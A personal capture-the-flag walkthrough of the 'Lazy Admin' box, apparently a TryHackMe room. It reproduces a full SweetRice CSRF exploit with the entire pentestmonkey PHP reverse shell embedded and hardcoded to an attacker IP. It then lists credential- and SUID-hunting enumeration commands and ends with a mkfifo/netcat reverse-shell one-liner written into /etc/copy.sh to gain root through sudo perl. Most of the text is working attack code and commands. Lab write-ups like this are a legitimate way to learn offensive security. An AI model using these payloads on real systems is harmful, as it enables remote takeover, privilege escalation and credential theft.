Lazy Admin

dirbuster

folders hhhhhhhh

as login page

cooking up a script (spoiler: didn’t need to. Just PHP reverse would’ve been fine):

<!--
# Exploit Title: SweetRice 1.5.1 Arbitrary Code Execution
# Date: 30-11-2016
# Exploit Author: Ashiyane Digital Security Team
# Vendor Homepage: http://www.basic-cms.org/
# Software Link: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
# Version: 1.5.1


# Description :

# In SweetRice CMS Panel In Adding Ads Section SweetRice Allow To Admin Add
PHP Codes In Ads File
# A CSRF Vulnerabilty In Adding Ads Section Allow To Attacker To Execute
PHP Codes On Server .
# In This Exploit I Just Added a echo '<h1> Hacked </h1>'; phpinfo(); 
Code You Can
Customize Exploit For Your Self .

# Exploit :
-->

<html>
<body onload="document.exploit.submit();">
<form action="http://10.10.148.249/sweetrice/as/?type=ad&mode=save" method="POST" name="exploit">
<input type="hidden" name="adk" value="hacked"/>
<textarea type="hidden" name="adv">
<?php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.6.62.12';  // CHANGE THIS
$port = 7777;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
phpinfo();?>
&lt;/textarea&gt;
</form>
</body>
</html>

<!--
# After HTML File Executed You Can Access Page In
http://10.10.148.249/sweetrice/inc/ads/hacked.php
  -->

“sweetrice” would be switched with “content”

enum:

sudo -l
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
history
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
dpkg -l | grep nginx
getcap -r / 2>/dev/null
env

we have sudo for perl on a specific file:

(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

modify that file:

echo /home/itguy/backup.pl

sudo echo "#!/usr/bin/perl" > /home/itguy/backup.pl
sudo echo 'exec "/bin/bash";' >> /home/itguy/backup.pl

not working.

What did I miss? Go see what the file actually does.

it’s running

#!/usr/bin/perl

system("sh", "/etc/copy.sh");

a shell that runs a reverse shell.

one liner reverse shell (from that copy.sh file):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.12 7778 >/tmp/f

echo the new command in:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.12 7778 >/tmp/f' > /etc/copy.sh

open listener:

nc -nvlp 7778

then we sudo perl run backup:

sudo perl /home/itguy/backup.pl